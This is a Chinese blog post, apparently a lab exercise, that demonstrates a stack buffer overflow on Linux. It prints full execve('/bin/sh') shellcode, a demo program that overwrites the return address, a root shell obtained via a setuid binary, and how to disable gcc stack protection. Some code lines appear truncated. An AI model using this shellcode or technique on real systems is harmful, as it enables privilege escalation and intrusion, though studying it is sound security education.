Chinaunix首页 | 论坛 | 博客
  • 博客访问: 5762258
  • 博文数量: 675
  • 博客积分: 20301
  • 博客等级: 上将
  • 技术积分: 7671
  • 用 户 组: 普通用户
  • 注册时间: 2005-12-31 16:15
文章分类

全部博文(675)

文章存档

2012年(1)

2011年(20)

2010年(14)

2009年(63)

2008年(118)

2007年(141)

2006年(318)

分类: C/C++

2007-11-06 17:14:00

    缓冲区溢出的原理比较简单,但是真正在做溢出的时候,就感觉溢出还是比较困难的。
    今天尝试做了一个演示程序,仅仅是通过演示来说明如何来实现一个缓冲区溢出,实际上就是一个测试shellcode而已。
wangyao@fisherman:~/Exp/IDS/exp3/temp$ cat vul1.c
#include 
#include 
 
#define BUFF_LEN 100
#define NOP                            0x90 
 
/* strlen(shellcode) = 53 */
char shellcode[]=
        "\x31\xc0"                      /* xorl %eax,%eax        */
        "\x31\xdb"                      /* xorl %ebx,%ebx        */
        "\xb0\x17"                      /* movb $0x17,%al        */
        "\xcd\x80"                      /* int $0x80             */
        "\xeb\x1f"                      /* jmp 0x1f              */
        "\x5e"                          /* popl %esi             */
        "\x89\x76\x08"                  /* movl %esi,0x8(%esi)   */
        "\x31\xc0"                      /* xorl %eax,%eax        */
        "\x88\x46\x07"                  /* movb %eax,0x7(%esi)   */
        "\x89\x46\x0c"                  /* movl %eax,0xc(%esi)   */
        "\xb0\x0b"                      /* movb $0xb,%al         */
        "\x89\xf3"                      /* movl %esi,%ebx        */
        "\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx   */
        "\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx   */
        "\xcd\x80"                      /* int $0x80             */
        "\x31\xdb"                      /* xorl %ebx,%ebx        */
        "\x89\xd8"                      /* movl %ebx,%eax        */
        "\x40"                          /* inc %eax              */
        "\xcd\x80"                      /* int $0x80             */
        "\xe8\xdc\xff\xff\xff"          /* call -0x24            */
        "/bin/sh";                      /* .string \"/bin/sh\"   */

main(int argc,char **argv) 

        char buff[BUFF_LEN];
        char *ptr;
        int i=0;

        memcpy(buff,shellcode,strlen(shellcode));
        /*将Shellcode补齐为4字节的倍数,保证后面添加的地址能够准确的设置到eip中*/
        /*补齐使用的是NOP指令*/
        memset(buff+strlen(shellcode),NOP,4-strlen(shellcode)%4);

        ptr=buff+strlen(shellcode)+4-strlen(shellcode)%4;

        for(i=0;i            *((long *)&(ptr[i]))=buff; 
}

运行测试程序,结果为:
wangyao@fisherman:~/Exp/IDS/exp3/temp$ ./vul1
sh-3.1$ whoami
wangyao
sh-3.1$
以root用户编译程序,并将程序加上s标志位,以普通用户运行结果为:
wangyao@fisherman:~/Exp/IDS/exp3/temp$ ./vul1
sh-3.1# whoami
root
sh-3.1#

一般的溢出文章中会说通过获得esp来猜测地址,实际上这是一种小概率事件,至少我尝试了一个上午,还没有成功一次。
wangyao@fisherman:~/Exp/IDS/exp3/v2$ cat t_sp.c
#include

unsigned long get_sp(void) {
    __asm__("movl %esp,%eax");
}

int main()
{
        unsigned long sp;

        sp = get_sp();
        printf("SP: 0x%08x\n",sp);

        return 0;
}
测试程序运行了几次后的结果为:
wangyao@fisherman:~/Exp/IDS/exp3/v2$ ./t_sp
SP: 0xbf9c9768
wangyao@fisherman:~/Exp/IDS/exp3/v2$ ./t_sp
SP: 0xbf8555f8
wangyao@fisherman:~/Exp/IDS/exp3/v2$ ./t_sp
SP: 0xbfe473e8
wangyao@fisherman:~/Exp/IDS/exp3/v2$ ./t_sp
SP: 0xbfd87b28
wangyao@fisherman:~/Exp/IDS/exp3/v2$ ./t_sp
SP: 0xbfd16ab8
wangyao@fisherman:~/Exp/IDS/exp3/v2$ ./t_sp
SP: 0xbff5bcf8
可见,esp在程序加载之后,是会变化的,不同的程序的esp相等几乎不可能,相近的话,至少也是0x10000=64K,但是实际上很少有buffer会大于64K,因此这种方法是基本不可行的。
同理,测试buff在每次运行时的位置:
fisherman:/home/wangyao/Exp/IDS/exp3/v2# ./t_buff
- 0xbf9e86c0 -
fisherman:/home/wangyao/Exp/IDS/exp3/v2# ./t_buff
- 0xbfcd21a0 -
fisherman:/home/wangyao/Exp/IDS/exp3/v2# ./t_buff
- 0xbfa2a700 -
fisherman:/home/wangyao/Exp/IDS/exp3/v2# ./t_buff
- 0xbfc30900 -
fisherman:/home/wangyao/Exp/IDS/exp3/v2# ./t_buff
- 0xbff073d0 -
fisherman:/home/wangyao/Exp/IDS/exp3/v2# ./t_buff
- 0xbff36c00 -
可见,buff的位置也是不相同的,可能在早期的linux系统中,这个位置每次运行时候是相同的。

说明:GCC4以后的版本,增加了缓冲区溢出的检测,因此编译出来的程序无法实现溢出;我们这里选用的是gcc-3.0编译的。
实际上是gcc4的一个新特性叫做stack-protector,可通过-fno-stack-protector来进行关闭,因此也可以使用gcc4进行缓冲区溢出实验,不过需要关闭栈保护功能。


阅读(2810) | 评论(10) | 转发(0) |
给主人留下些什么吧!~~

heixia1082008-02-27 10:33:44

谢~,试一下

heixia1082008-02-27 10:33:44

谢~,试一下

CUDev2008-02-26 14:07:12

指定gcc就可以了,gcc是一个符号连接,指向不同版本的gcc。 可以直接在makefile中指定 CC=/bin/gcc-3.4 $(CC) -o test test.c 或者是unlink /bin/gcc ln -s /bin/gcc-3.4 /bin/gcc

CUDev2008-02-26 14:07:12

指定gcc就可以了,gcc是一个符号连接,指向不同版本的gcc。 可以直接在makefile中指定 CC=/bin/gcc-3.4 $(CC) -o test test.c 或者是unlink /bin/gcc ln -s /bin/gcc-3.4 /bin/gcc

heixia1082008-02-24 01:12:42

哦,谢谢 请问能不能详细介绍一下用4.0gcc安装3.0gcc的过程 用4.1版本的装3.0版本的要一个过渡版本,装了一个3.4的,装3.0时编译时gcc还是4.0,不知道怎么把它指向3.4 另外还要装兼容软件吧?